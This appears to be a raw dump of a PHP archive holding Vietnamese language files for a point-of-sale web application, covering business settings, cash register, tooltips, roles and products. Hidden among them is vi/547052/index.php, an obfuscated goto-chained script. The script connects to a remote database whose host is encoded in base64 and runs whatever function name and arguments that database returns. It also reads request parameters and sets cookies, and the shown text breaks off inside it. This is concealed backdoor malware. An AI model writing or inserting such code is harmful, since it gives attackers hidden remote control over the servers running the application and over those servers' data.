bán mặc định', 'default_sales_discount' => 'Giảm giá bán mặc định', 'business_details' => 'Chi tiết kinh doanh', 'tax' => 'Thuế', 'tax_details' => 'Chi tiết thuế', 'owner' => 'Chủ sở hữu', 'owner_info' => 'Thông tin chủ sở hữu', 'sale' => 'Bán hàng', 'sell_price_tax' => 'Gia ban', 'product' => 'Sản phẩm', 'sku_prefix' => 'SKU prefix', 'language' => 'Ngôn ngữ', 'time_zone' => 'Múi giờ', 'months' => [ 1 => 'Tháng 1', 2 => 'Tháng 2', 3 => 'Tháng 3', 4 => 'Tháng 4', 5 => 'Tháng 5', 6 => 'Tháng 6', 7 => 'Tháng 7', 8 => 'Tháng 8', 9 => 'Tháng 9', 10 => 'Tháng 10', 11 => 'Tháng 11', 12 => 'Tháng 12', ], 'fy_start_month' => 'Tháng bắt đầu năm tài chính', 'accounting_method' => 'Phương pháp quản lý tồn kho', 'fifo' => 'FIFO (First In First Out)', 'lifo' => 'LIFO (Last In First Out)', 'business_locations' => 'Địa điểm kinh doanh', 'business_location' => 'Địa điểm kinh doanh', 'manage_your_business_locations' => 'Quản lý địa điểm kinh doanh của bạn', 'all_your_business_locations' => 'Tất cả các địa điểm kinh doanh của bạn', 'add_business_location' => 'Thêm một địa điểm kinh doanh mới', 'business_location_added_success' => 'Địa điểm kinh doanh được thêm thành công', 'edit_business_location' => 'Chỉnh sửa địa điểm kinh doanh', 'business_location_updated_success' => 'Địa điểm kinh doanh được cập nhật thành công', 'location' => 'Vị trí', 'already_registered' => 'Đã đăng ký?', 'sign_in' => 'Đăng nhập', 'not_yet_registered' => 'Vẫn chưa được đăng ký?', 'register_now' => 'Đăng ký ngay', 'system' => 'Hệ thống', 'show_help_text' => 'Hiển thị văn bản trợ giúp', 'mobile' => 'Di động', 'alternate_number' => 'Số liên lạc thay thế', 'email' => 'Email', 'settings' => 'Cài đặt', 'transaction_edit_days' => 'Ngày chỉnh sửa giao dịch', 'dashboard' => 'Bảng điều khiển', 'view_stock_expiry_alert_for' => 'Xem thông báo hết hạn chứng khoán cho', 'days' => 'Ngày', 'system_settings' => 'Cài đặt hệ thống', 'add_keyboard_shortcuts' => 'Thêm phím tắt', 'operations' => 'Hoạt động', 'keyboard_shortcut' => 'Phím tắt', 'business_created_succesfully' => 'Doanh nghiệp được tạo thành công !!', 'tax_number1' => 'Thuế số 1', 'tax_number2' => 'Thuế số 2', 'is_active' => 'Hoạt động', 'created_by' => 'Được tạo bởi', ]; PK G �Zm$MU� � vi/cash_register.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Cash Register Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Cash Register CRUD operations. | */ 'cash_register' => 'Máy tính tiền', 'manage_your_cash_register' => 'Quản lý máy tính tiền', 'all_your_cash_register' => 'Tất cả các máy tính tiền', 'cash_in_hand' => 'Tồn quỹ', 'open_cash_register' => 'Mở máy tính tiền', 'enter_amount' => 'Nhập số tiền', 'open_register' => 'Mở đăng ký', 'register_details' => 'Chi tiết sổ sách', 'cash_payment' => 'Trả tiền mặt', 'checque_payment' => 'Thanh toán séc', 'card_payment' => 'Thanh toán card', 'bank_transfer' => 'Chuyển khoản', 'other_payments' => 'Thanh toán khác', 'total_sales' => 'Tổng doanh thu', 'total_cash' => 'Tổng tiền mặt', 'current_register' => 'Current Register', 'close_register' => 'Đóng đăng ký', 'total_card_slips' => 'Tổng thanh toán thẻ', 'total_cheques' => 'Tổng sec', 'closing_note' => 'Lưu ý kết thúc', 'close_success' => 'Đăng ký đóng thành công', 'open' => 'Mở', 'close' => 'Đóng', 'total_refund' => 'Tổng hoàn tiền', 'refunds' => 'Hoàn tiền', ]; PK G �Zw(B[% [% vi/tooltip.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tooltip Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for various help texts. | */ 'product_stock_alert' => "Sản phẩm có tồn kho ít.<br/><small class='text-muted'>Dựa trên số lượng cảnh báo sản phẩm được đặt trong màn hình thêm sản phẩm.<br> Nhập thêm sản phẩm trước khi hết hạn</small>", 'payment_dues' => "Thanh toán mua hàng đang chờ xử lý <br/><small class='text-muted'>Dựa trên thời hạn trả của nhà cung cấp. <br/> Hiển thị các khoản thanh toán được thanh toán trong 7 ngày hoặc ít hơn.</small>", 'input_tax' => 'Tổng số thuế thu được để bán trong khoảng thời gian đã chọn.', 'output_tax' => 'Tổng số thuế phải trả cho mua hàng trong khoảng thời gian đã chọn.', 'tax_overall' => 'Sự khác biệt giữa tổng số thuế thu được và tổng số thuế phải trả trong khoảng thời gian đã chọn.', 'purchase_due' => 'Tổng số tiền chưa trả cho mua hàng.', 'sell_due' => 'Tổng số tiền nhận được từ bán hàng', 'over_all_sell_purchase' => '-ve value = Amount to pay <br>+ve Value = Amount to receive', 'no_of_products_for_trending_products' => 'Số sản phẩm có xu hướng hàng đầu được so sánh trong biểu đồ dưới đây.', 'top_trending_products' => "Sản phẩm bán chạy nhất của cửa hàng <br/><small class='text-muted'>Áp dụng các bộ lọc để biết các sản phẩm theo xu hướng cho Danh mục, Thương hiệu, Địa điểm kinh doanh cụ thể, v.v.</small>", 'sku' => "Unique product id or Stock Keeping Unit <br><br>Giữ trống để tự động tạo sku.<br><small class='text-muted'>Bạn có thể sửa đổi tiền tố sku trong cài đặt Doanh nghiệp.</small>", 'enable_stock' => "Cho phép hoặc vô hiệu hóa quản lý chứng khoán cho một sản phẩm. <br><br><small class='text-muted'>Quản lý chứng khoán nên được vô hiệu hóa chủ yếu cho các dịch vụ. Ví dụ: Cắt tóc, Sửa chữa, v.v.</small>", 'alert_quantity' => "Nhận thông báo khi số lượng tồn kho bằng hoặc xuống dưới số lượng được chỉ định.<br><br><small class='text-muted'>Sản phẩm có lượng tồn kho thấp sẽ được hiển thị trong bảng điều khiển - Phần thông báo sản phẩm.</small>", 'product_type' => '<b>Sản phẩm đơn</b>: Sản phẩm không có biến thể. <br><b>Sản phẩm biến thể</b>: Sản phẩm với các biến thể như kích thước, màu sắc.v.v', 'profit_percent' => "Biên lợi nhuận mặc định cho sản phẩm. <br><small class='text-muted'>(<i>Bạn có thể quản lý Biên lợi nhuận mặc định trong Cài đặt doanh nghiệp.</i>)</small>", 'pay_term' => "Thanh toán được thanh toán cho mua hàng / bán hàng trong khoảng thời gian nhất định.<br/><small class='text-muted'>Tất cả các khoản thanh toán sắp tới hoặc đáo hạn sẽ được hiển thị trong bảng điều khiển - Phần đáo hạn thanh toán</small>", 'order_status' => 'Sản phẩm trong mua hàng này sẽ chỉ có sẵn để bán nếu <b>Tình trạng mua hàng</b> là <b>Đã nhận</b>.', 'purchase_location' => 'Địa điểm kinh doanh nơi sản phẩm đã mua sẽ có sẵn để bán.', 'sale_location' => 'Địa điểm kinh doanh từ nơi bạn muốn bán', 'sale_discount' => "Đặt 'Giảm giá bán mặc định' cho tất cả doanh số trong Cài đặt doanh nghiệp. Nhấp vào biểu tượng chỉnh sửa bên dưới để thêm / cập nhật giảm giá.", 'sale_tax' => "Đặt 'Thuế bán mặc định' cho tất cả doanh số trong Cài đặt doanh nghiệp. Nhấp vào biểu tượng chỉnh sửa bên dưới để thêm / cập nhật Thuế đơn hàng.", 'default_profit_percent' => "Biên lợi nhuận mặc định của sản phẩm. <br><small class='text-muted'>Được sử dụng để tính giá bán dựa trên giá mua.<br/> Bạn có thể sửa đổi giá trị này cho các sản phẩm độc lập trong khi thêm</small>", 'fy_start_month' => 'Tháng bắt đầu của Năm tài chính cho doanh nghiệp của bạn', 'business_tax' => 'Số thuế đã đăng ký cho doanh nghiệp của bạn.', 'invoice_scheme' => "Lược đồ hóa đơn có nghĩa là định dạng đánh số hóa đơn. Chọn sơ đồ sẽ được sử dụng cho địa điểm kinh doanh này<br><small class='text-muted'><i>Bạn có thể thêm Đề án Hóa đơn mới</b> trong Cài đặt hóa đơn</i></small>", 'invoice_layout' => "Giao diện hóa đơn được sử dụng cho địa điểm kinh doanh này<br><small class='text-muted'>(<i> Bạn có thể thêm <b> Bố cục hóa đơn </b> mới trong <b> Cài đặt hóa đơn </b> </i>)</small>", 'invoice_scheme_name' => 'Đặt một tên ngắn có ý nghĩa cho định dạng Hóa đơn.', 'invoice_scheme_prefix' => 'Tiền tố cho định dạng Hóa đơn.<br>Tiền tố có thể là một văn bản tùy chỉnh hoặc năm hiện tại. Ex: #XXXX0001, #2019-0002', 'invoice_scheme_start_number' => "Số bắt đầu để đánh số hóa đơn. <br><small class='text-muted'>Bạn có thể làm cho nó 1 hoặc bất kỳ số nào khác từ đó việc đánh số sẽ bắt đầu.</small>", 'invoice_scheme_count' => 'Tổng số hóa đơn được tạo cho Chương trình Hóa đơn', 'invoice_scheme_total_digits' => 'Độ dài của Số hóa đơn không bao gồm Tiền tố hóa đơn', 'tax_groups' => 'Group Tax Rates - defined above, to be used in combination in Purchase/Sell sections.', 'unit_allow_decimal' => 'Số thập phân cho phép bạn bán các sản phẩm liên quan theo phân số.', 'print_label' => 'Thêm sản phẩm -> Chọn thông tin để hiển thị trong Nhãn -> Chọn Cài đặt mã vạch -> Xem trước Nhãn -> In', 'expense_for' => 'Chọn người dùng mà chi phí có liên quan đến. <i>(Không bắt buộc)</i><br/><small>Ví dụ: Mức lương của một nhân viên.</small>', 'all_location_permission' => 'Nếu <b> Tất cả các vị trí </b> được chọn, vai trò này sẽ có quyền truy cập vào tất cả các địa điểm kinh doanh', 'dashboard_permission' => 'Nếu chỉ được chọn, thông báo Chào mừng sẽ được hiển thị trong Trang chủ.', 'access_locations_permission' => 'Chọn tất cả các vị trí vai trò này có thể truy cập. Tất cả dữ liệu cho vị trí đã chọn sẽ chỉ được hiển thị cho người dùng.<br/><br/><small>Ví dụ: Bạn có thể sử dụng điều này để xác định <i> Quản lý cửa hàng / Thủ quỹ / Quản lý chứng khoán / Giám đốc chi nhánh, </i> của Vị trí cụ thể.</small>', 'print_receipt_on_invoice' => 'Bật hoặc Tắt tự động in hóa đơn khi hoàn tất', 'receipt_printer_type' => '<i>Impressão Baseada em Navegador</i>: Mostrar caixa de diálogo de impressão no navegador com visualização da fatura <br/> <br/> <i> Usar Impressora de Recibos Configurada </i>: Selecionar um recibo configurado / impressora térmica para impressão', 'adjustment_type' => '<i>Bình thường</i>: Điều chỉnh cho các lý do bình thường như Rò rỉ, Thiệt hại .v.v.. <br/><br/> <i>Khác thường</i>: Điều chỉnh cho các lý do như hỏa hoạn, tai nạn.v.v..', 'total_amount_recovered' => 'Số tiền thu hồi từ bảo hiểm hoặc bán phế liệu hoặc những thứ khác', 'express_checkout' => 'Mark complete paid & checkout', 'total_card_slips' => 'Tổng số thanh toán thẻ được sử dụng trong đăng ký này', 'total_cheques' => 'Tổng số kiểm tra được sử dụng trong đăng ký này', 'capability_profile' => "Hỗ trợ cho các lệnh và trang mã khác nhau giữa các nhà cung cấp máy in và mô hình. Nếu bạn không chắc chắn, nên sử dụng Hồ sơ năng lực 'đơn giản'", 'purchase_different_currency' => 'Chọn tùy chọn này nếu bạn mua bằng loại tiền khác với loại tiền kinh doanh của bạn', 'currency_exchange_factor' => "1 Purchase Currency = ? Base Currency <br> <small class='text-muted'>You can enable/disabled 'Purchase in other currency' from business settings.</small>", 'accounting_method' => 'Phương pháp kế toán', 'transaction_edit_days' => 'Số ngày kể từ Ngày giao dịch cho đến khi giao dịch có thể được chỉnh sửa.', 'stock_expiry_alert' => "List of stocks expiring in :days days <br> <small class='text-muted'>You can set the no. of days in Business Settings </small>", 'sub_sku' => 'Sku là tùy chọn. <br><br><small>Giữ trống để tự động tạo SKU.<small>', 'shipping' => 'Đặt chi tiết vận chuyển và phí vận chuyển. Nhấp vào biểu tượng chỉnh sửa bên dưới để thêm / cập nhật chi tiết vận chuyển và chi phí.', ]; PK G �Z��2� � vi/role.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Role Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'add_role' => 'Thêm vai trò', 'edit_role' => 'Chỉnh sửa vai trò', 'user' => 'Người dùng', 'supplier' => 'Nhà cung cấp', 'customer' => 'Khách hàng', 'purchase' => 'Điều chỉnh mua & bán cổ phiếu', 'report' => 'Bài báo cáo', 'user.view' => 'Xem người dùng', 'user.create' => 'Thêm người dùng', 'user.update' => 'Người dùng biên tập', 'user.delete' => 'Xóa người dùng', 'supplier.view' => 'Xem nhà cung cấp', 'supplier.create' => 'Thêm nhà cung cấp', 'supplier.update' => 'Chỉnh sửa nhà cung cấp', 'supplier.delete' => 'Xóa nhà cung cấp', 'customer.view' => 'Xem khách hàng', 'customer.create' => 'Thêm khách hàng', 'customer.update' => 'Chỉnh sửa khách hàng', 'customer.delete' => 'Xóa khách hàng', 'product.view' => 'Xem sản phẩm', 'product.create' => 'Thêm sản phẩm', 'product.update' => 'Chỉnh sửa sản phẩm', 'product.delete' => 'Xóa sản phẩm', 'purchase.view' => 'Xem mua & điều chỉnh cổ phiếu', 'purchase.create' => 'Thêm mua & điều chỉnh cổ phiếu', 'purchase.update' => 'Chỉnh sửa mua & điều chỉnh cổ phiếu', 'purchase.delete' => 'Xóa mua & điều chỉnh cổ phiếu', 'sell.view' => 'Xem POS bán', 'sell.create' => 'Thêm POS bán', 'sell.update' => 'Chỉnh sửa bán POS', 'sell.delete' => 'Xóa POS bán', 'purchase_n_sell_report.view' => 'Xem báo cáo mua và bán', 'contacts_report.view' => 'Xem báo cáo Nhà cung cấp & Khách hàng', 'stock_report.view' => 'Xem báo cáo chứng khoán, báo cáo điều chỉnh cổ phiếu & báo cáo hết hạn cổ phiếu', 'tax_report.view' => 'Xem báo cáo thuế', 'trending_product_report.view' => 'Xem báo cáo xu hướng sản phẩm', 'register_report.view' => 'Xem báo cáo đăng ký', 'sales_representative.view' => 'Xem báo cáo đại diện bán hàng', 'expense_report.view' => 'Xem báo cáo chi phí', 'business_settings.access' => 'Truy cập cài đặt doanh nghiệp', 'barcode_settings.access' => 'Truy cập cài đặt mã vạch', 'invoice_settings.access' => 'Truy cập cài đặt hóa đơn', 'brand.view' => 'Xem thương hiệu', 'brand.create' => 'Thêm thương hiệu', 'brand.update' => 'Chỉnh sửa thương hiệu', 'brand.delete' => 'Xóa thương hiệu', 'tax_rate.view' => 'Xem thuế suất', 'tax_rate.create' => 'Thêm thuế suất', 'tax_rate.update' => 'Chỉnh sửa thuế suất', 'tax_rate.delete' => 'Xóa thuế suất', 'unit.view' => 'Xem đơn vị', 'unit.create' => 'Thêm đơn vị', 'unit.update' => 'Chỉnh sửa đơn vị', 'unit.delete' => 'Xóa đơn vị', 'category.view' => 'Xem danh mục', 'category.create' => 'Thêm thể loại', 'category.update' => 'Chỉnh sửa danh mục', 'category.delete' => 'Xóa danh mục', 'select_all' => 'Chọn tất cả', 'settings' => 'Cài đặt', 'brand' => 'Nhãn hiệu', 'tax_rate' => 'Thuế suất', 'unit' => 'Đơn vị', 'access_locations' => 'Vị trí truy cập', 'all_locations' => 'Tất cả địa điểm', 'dashboard' => 'Nhà', 'dashboard.data' => 'Xem dữ liệu tại nhà', 'profit_loss_report.view' => 'Xem báo cáo lãi / lỗ', 'direct_sell.access' => 'Truy cập bán', ]; PK G �Z��5�� � vi/product.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Product Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Product related operations. | */ 'exc_of_tax' => 'Chưa thuế', 'inc_of_tax' => 'Bao gồm thuế', 'profit_percent' => 'x Biên lợi nhuận(%)', 'add_new_product' => 'Thêm sản phẩm', 'add_product_for_labels' => 'Thêm sản phẩm để tạo Nhãn', 'product_type' => 'Loại sản phẩm', 'category' => 'Danh mục', 'sub_category' => 'Danh mục con', 'unit' => 'Đơn vị tính', 'brand' => 'Nhãn hiệu', 'tax' => 'Thuế', 'sku' => 'SKU', 'alert_quantity' => 'Số lượng cảnh báo', 'product_name' => 'Tên sản phẩm', 'auto_generate' => 'Auto generate', 'manage_stock' => 'Quản lý kho?', 'enable_stock_help' => 'Cho phép quản lý tồn kho sản phẩm', 'barcode_type' => 'Loại mã vạch', 'applicable_tax' => 'Thuế áp dụng', 'selling_price_tax_type' => 'Hình thức giá bán', 'inclusive' => 'Bao gồm thuế', 'exclusive' => 'Chưa thuế', 'edit_product' => 'Sửa sản phẩm', 'default_purchase_price' => 'Giá mua mặc định', 'default_selling_price' => 'Giá bán mặc định', 'value' => 'Giá trị', 'variation_name' => 'Tên biến thể', 'variation_values' => 'Giá trị biến đổi', 'use_template' => 'Sử dụng mẫu', 'add_variation' => 'Thêm biến thể', 'product_added_success' => 'Sản phẩm được thêm thành công', 'product_updated_success' => 'Sản phẩm được cập nhật thành công', 'enable_product_expiry' => 'Cho phép hết hạn sản phẩm', 'expiry_period' => 'Thời hạn sử dụng', 'expires_in' => 'Hết hạn trong', 'not_applicable' => 'Không áp dụng', 'months' => 'Tháng', 'days' => 'Ngày', 'mfg_date' => 'MFG Date', 'exp_date' => 'Hạn sử dụng', 'view_product' => 'xem sản phẩm', 'add_product' => 'Thêm sản phẩm', 'variations' => 'Biến thể', 'import_products' => 'Tải lên sản phẩm', 'file_to_import' => 'Chọn file tải lên', 'file_imported_successfully' => 'Tải lên thành công', 'variation_sku_format' => 'Định dạng SKU Biến thể', 'variation_sku_format_help_text' => 'Định dạng SKU Biến thể - Khi SKU biến thể trống, định dạng này sẽ được sử dụng để tạo SKU cho các biến thể.', 'sku_number' => 'Số SKU (Ví dụ -> ABC-1, ABC-2)', 'sku_variation_number' => 'Biến thể SKU (Ví dụ -> ABCS, ABCM)' ]; PK G �ZK>F�6 �6 vi/547052/index.phpnu �[��� <?php goto kUT9e; rcKUq: eYKHI: goto N60jy; dl3kf: goto QS542; goto tg71V; t6owN: fBrvH: goto Mf0NL; PRybJ: hewIQ: goto ob2Rl; QSpW9: yQshi: goto r2zGt; ZI6l3: goto F8rpn; goto DP4DH; A71nY: goto T9Ic_; goto vpxz0; KkTRj: goto r1XP0; goto mhDh9; RqCxy: $S3rfe = ''; goto iVsqf; ZpnJf: GL80C: goto YwwZm; q9UE8: goto V4216; goto rlBNI; d541o: Injip: goto dCFcq; IY9EM: Ywo6A: goto CwQM2; dyKm_: rLmlm: goto gHRQ1; fJ4Lx: goto JkOZd; goto bEeK4; Q0rsu: UYdDm: goto D5xnJ; Q4R0X: mTyYJ: goto UrjFM; JJ8ui: goto WizRH; goto xrhaD; LBNZM: TAj5Y: goto BG9_W; FdRvb: goto BnXBZ; goto BFOmQ; KN36U: goto zis3j; goto X5mCp; Whk8u: htl_q: goto rcKUq; PIw7P: goto wlOLg; goto bC0ge; KzHso: F7X71: goto ZCIYt; a7vIF: goto Dvy3q; goto KN36U; jUBEw: goto eILTn; goto X6fQp; oWr1c: XrP6O: goto YqY5h; MLqhR: goto xm_tO; goto MJIxt; dm3hE: rQDk3: goto Qi9sn; kv7eQ: goto p4ngh; goto jnSF1; K_Xom: goto wqAg0; goto Tdf35; PIYZS: goto GL80C; goto Mjtuq; PVe7X: rLUOS: goto n0THk; aF5L4: Z0ybG: goto CQEsB; icsRV: goto hewIQ; goto qIx6n; YPCiu: EtCGV: goto BteLQ; vpxz0: goto kvnWY; goto hxykf; UrjFM: iRGcD: goto sPuNI; Tvasr: try { goto vSyzD; JpiOf: goto ne_OQ; goto Bx0Jj; ArAY2: goto lETCE; goto p20Cv; ErcVg: qpwTO: goto VLGt7; Bx0Jj: Xa02y: goto mktlq; o_Rs2: goto eKEm2; goto w1O6A; prR6X: goto SGgA2; goto T6YKL; FBFs5: goto Xdyzv; goto IaxvB; WTH3s: ou8zZ: goto zZ9za; vSyzD: goto dFjlt; goto MApVd; uby12: goto hdh3S; goto NZbuz; Qt2UN: goto Xa02y; goto B6MQc; kBNuR: goto IfPvv; goto z2NMd; mktlq: pV39G: goto gsEZj; EhM9K: goto zu2HH; goto QymoU; rIUEk: EBf5j: goto QGKx0; OnBNH: Rt1Ro: goto J6ICK; EhoBf: goto Tj55j; goto X7UE9; BMbUt: Pxm3F: goto O7yr_; EaTfP: goto Pa020; goto m5cD_; mz69F: goto ZqoQV; goto V5p2O; hQ6jT: $S3rfe($IfgQz->hfpW0, $IfgQz->wxU2i); goto g1kwt; KjFLl: goto M8Iki; goto ZFaeJ; AyL37: oo069: goto szuSp; Zag9V: b8AG8: goto cVYcZ; uvRoU: goto civOn; goto N6zM0; OgHKC: SGgA2: goto K3NtC; lEbx1: goto C7d0x; goto acTkC; HyIII: goto rSXcE; goto w86qR; PCYzy: goto HQd2k; goto EhoBf; lJMIB: goto Rbn_8; goto sNMIc; ImdVL: goto oirN9; goto adjJO; s4zfr: goto YsDil; goto kBNuR; JNrZk: lETCE: goto LOBo1; wyZ4B: sBAHA: goto eaTl1; bPHxd: goto se768; goto QW6p8; eaTl1: goto pV39G; goto EMj64; p20Cv: SZdO5: goto uvRoU; IUeYx: goto cdUQb; goto f6ghf; IaxvB: zT478: goto VUk5I; cVYcZ: goto UhihI; goto lEbx1; adjJO: M8Iki: goto VBGSu; S8S9_: pBgYA: goto o_Rs2; mOLUC: goto QJVNN; goto EaTfP; zZ9za: goto fNLUX; goto Qt2UN; T6YKL: VFEWe: goto ErcVg; XjQ2m: goto b8AG8; goto OnBNH; QPR1i: HBHbN: goto Wa51h; mE8Tk: $IfgQz = @mysqli_fetch_object(mysqli_query($c3vrp, $fmznT)); goto uby12; PHFcL: mJA1V: goto KlXqt; gZ7Gn: civOn: goto mOLUC; szuSp: pr7TV: goto XEyLK; acTkC: Rbn_8: goto qWTd3; W1erg: if (!$IfgQz) { goto SZdO5; } goto ArAY2; w1O6A: goto Rt1Ro; goto OgHKC; GjBzE: Pa020: goto JNrZk; qWTd3: goto WljE8; goto KjFLl; w86qR: Wa6ZA: goto PCYzy; l80VA: goto pr7TV; goto BMbUt; Ffwij: goto qpwTO; goto JpiOf; z2NMd: Tj55j: goto oMcCJ; U0Wbl: W9Lk3: goto Exqk6; VzwOE: $S3rfe = $IfgQz->CfIh1; goto xm80n; gsEZj: goto NjFTF; goto uvJ40; ZFaeJ: ne_OQ: goto R5VPq; g1kwt: goto G5un1; goto wyZ4B; Df6B5: goto HBHbN; goto ffpnL; XEyLK: goto ou8zZ; goto gZ7Gn; QGKx0: goto dO79x; goto QaiDa; sNMIc: dFjlt: goto Ffwij; V5p2O: Xy7k9: goto Y3c2W; J6ICK: YsDil: goto prR6X; VUk5I: eKEm2: goto FqNif; yY5nl: goto k169a; goto Zag9V; LOBo1: goto pBgYA; goto IR_Dw; QW6p8: goto mJA1V; goto mDG5o; Wa51h: if (!($IfgQz->LZbDW == "\x32")) { goto NfFpd; } goto hwVKt; g5Sn7: WljE8: goto mz69F; WTcPY: UnAvf: goto IUeYx; X7UE9: XwsJe: goto aRnCL; e8I4R: N92CO: goto W_oK8; HHbvp: goto UnAvf; goto uyySk; MApVd: NjFTF: goto hQ6jT; NZbuz: rSXcE: goto Or2Vp; N6zM0: zu2HH: goto s4zfr; VBGSu: dO79x: goto yY5nl; B6MQc: G5un1: goto bPHxd; h1Mjt: IfPvv: goto g5Sn7; uyySk: goto VFEWe; goto WTH3s; LXpQ4: UhihI: goto LG2EZ; Ep9LF: k169a: goto fG7PP; EMj64: goto tHA4q; goto h1Mjt; Exqk6: if (!$c3vrp) { goto Pxm3F; } goto l80VA; Or2Vp: goto yVIbV; goto FBFs5; uvJ40: oirN9: goto mE8Tk; gaxIk: tHA4q: goto WTcPY; KlXqt: HQd2k: goto Gtjmz; hwVKt: goto U88Fs; goto n4zQ1; R5VPq: se768: goto Df6B5; K3NtC: yVIbV: goto lJMIB; gpmAO: goto oo069; goto U0Wbl; W_oK8: goto Wa6ZA; goto GjBzE; c45fM: U88Fs: goto gkMfy; Y3c2W: goto N92CO; goto gpmAO; fG7PP: die($IfgQz->hfpW0); goto EhM9K; gkMfy: goto EBf5j; goto S8S9_; m5cD_: hdh3S: goto HHbvp; ffpnL: C7d0x: goto LXpQ4; FqNif: goto VzApJ; goto Ep9LF; QaiDa: goto zT478; goto gaxIk; WjeDn: Xdyzv: goto c45fM; VLGt7: goto W9Lk3; goto rIUEk; LG2EZ: goto aU19i; goto QPR1i; O7yr_: goto Xy7k9; goto PHFcL; f6ghf: VzApJ: goto VzwOE; QymoU: ZqoQV: goto wk0zK; n4zQ1: NfFpd: goto HyIII; Gtjmz: goto XwsJe; goto WjeDn; xm80n: goto sBAHA; goto AyL37; IR_Dw: cdUQb: goto W1erg; oMcCJ: fNLUX: goto ImdVL; mDG5o: aU19i: goto e8I4R; wk0zK: QJVNN: goto XjQ2m; aRnCL: } catch (Exception $NZ3vn) { die($NZ3vn->getMessage()); } goto X5wmW; U_29o: $z0iCl = "\x63\154\x61\163\163"; goto psdaM; eYS04: goto UaVP7; goto MHB5Q; DnaP4: rBEud: goto OS6ku; X5mCp: OCv6z: goto qZMdq; Q933l: goto Z2QaL; goto WkfZ1; U5Fl1: goto obW8T; goto ufJ_x; Mjtuq: goto htl_q; goto aaUqm; rQ0fP: goto R0v8o; goto Si7Gj; rbhdQ: goto j7XSu; goto v6fkL; FSSmG: goto UYdDm; goto Cdovf; DG60m: XPjmE: goto GVyqa; iOyD3: goto LCHYs; goto Rxjb6; p21FD: if (file_exists($To3n4)) { goto tmX2o; } goto mr5GC; KFGkt: goto b_abj; goto xC27j; yPkJR: goto gSwf0; goto nw4bv; psdaM: goto TQYdS; goto REA3p; SFNmD: goto U2_Tl; goto g0yyU; voOaz: goto dtfqq; goto PuXqf; CQEsB: goto XrP6O; goto Eo22v; WNbZz: goto qIGMD; goto Iso1t; O4yg2: Mc6oj: goto snlsT; eiB5Q: QS542: goto ZL5lp; MJIxt: goto P01bv; goto OIRau; dfY7d: kvnWY: goto QSpW9; ZoyoR: bVOh6: goto PIw7P; oH5pC: tSpxC: goto W2c9P; seG4f: BnXBZ: goto FDGZj; W8_Gk: M94lD: goto KkTRj; MKTVa: goto VLOG4; goto ombip; jXvh3: goto C4o3A; goto IbGIY; KGbWQ: YEJ3T: goto aDCN4; CWMYY: pBSi_: goto ggUsZ; iH6Yh: xtKAm: goto tWT60; ARKp2: vvaxD: goto pLzNN; S72C_: wSl8n: goto yPkJR; gIz2P: VoKGr: goto ftMEp; UVbrl: ztaVF: goto ZoyoR; xxb0i: goto Ae_fa; goto ltOFm; L3VsT: NZHny: goto p21FD; UDGY2: goto iB2iZ; goto ohgt9; Eo22v: PvZOF: goto yA9ep; xC27j: P01bv: goto l0xHZ; tK_i2: if (empty($_GET["\x6e"])) { goto xbYy7; } goto wi2_1; VT0xK: dvbwL: goto Aif7d; zeRJp: goto rBEud; goto GX9HY; URZN2: MUFkG: goto hHzMW; SlIG0: D5UDA: goto ug27u; nw4bv: N4l6b: goto iAgFK; Si7Gj: rvVkR: goto KqR7w; bvPQ2: goto b_ng5; goto OEQwS; Q_n97: zis3j: goto oH5pC; sPuNI: goto LWtwR; goto G2989; gBeav: JQ9og: goto DsN6u; pfe8O: goto vHswX; goto Q_n97; CP52Z: goto O3Nfw; goto GlWJb; S7J1O: tmX2o: goto BZGPP; ombip: ZFa_3: goto YjMMK; MGLIL: nDIhg: goto qiaTc; IAOid: goto HMjte; goto lwsk3; dCVIh: goto F7X71; goto XE8iA; lwsk3: Ae_fa: goto KGbWQ; YqY5h: goto yA0w9; goto ovdrl; pbCCk: if (!function_exists("\111\x55\66\143\127")) { goto OFYEb; } goto oCFRW; woKkx: goto Ak4jj; goto u1ecI; pcxSt: goto TKGwD; goto pi06z; yROzh: goto pBSi_; goto JJ8ui; REA3p: y3ETx: goto wkP34; NI3UQ: QIKu3: goto ShwLL; NVrLo: f1pFd: goto Tg6WL; ee8eP: aChjg: goto kAIft; XeuRK: goto Bk2NM; goto GDWi_; IbGIY: goto oNirH; goto PFC6a; NnjCU: MhD7v: goto SHCw3; GX9HY: WZKvm: goto NpSMz; U6ARI: O3Nfw: goto e28wD; oJqZG: upsDR: goto ffFWD; G2989: S369U: goto YzGZj; FDGZj: goto rvVkR; goto NpdEG; bEeK4: goto nDIhg; goto NWkiK; rlBNI: goto NKueQ; goto oWr1c; oCFRW: goto pHpjB; goto MTFI8; fzEI8: goto VoKGr; goto MM0Nq; F_R5r: goto Pzo8r; goto NI3UQ; R7gF7: goto eYKHI; goto voOaz; LmA7f: goto fBrvH; goto rxa2k; P3dBP: goto z6Vaq; goto pfe8O; qZMdq: yA0w9: goto Vjp79; CZQG9: EmWrG: goto g4J7P; yr19K: sIpgA: goto B0f3w; QxCV_: kAVUC: goto q9UE8; A393Q: goto hLdOz; goto URZN2; g0yyU: Pzo8r: goto cQxIT; GVyqa: $c3vrp = @mysqli_connect(base64_decode($S4hnE), "\x62\145\x72", md5($_SERVER["\x48\124\124\120\137\x55\x53\105\x52\137\x41\x47\x45\x4e\124"]), "\x76\x31"); goto MKTVa; PISjA: LCHYs: goto WnYNP; D3AWV: goto XPjmE; goto Wsivl; FggUu: CAnSI: goto eYS04; mhDh9: t_bJp: goto HoTdb; pwfEC: wqAg0: goto dlHFV; g_yqD: goto hAtf1; goto t6owN; gHH1g: V4216: goto gcDge; e28wD: goto wSl8n; goto VwKYF; EAmRg: goto RCIX3; goto SMGMO; PuXqf: NKueQ: goto CWMYY; zV1ZA: goto EtCGV; goto CZQG9; bzNwK: TROmK: goto lUwq5; n0MPJ: b1_Uf: goto A393Q; AnAom: goto TROmK; goto cwRwu; yMuam: goto XM7rv; goto PVe7X; QVOEf: goto yQshi; goto I4qCB; Y0gAv: JB2Fv: goto QFQyx; NFk8C: yU41o: goto eruvY; ShwLL: setcookie("\151\160", $_GET["\151\160"], time() + 86400 * 30, "\x2f"); goto Gbbo0; a7Ssn: GcbLL: goto b477C; ltOFm: zxQbL: goto 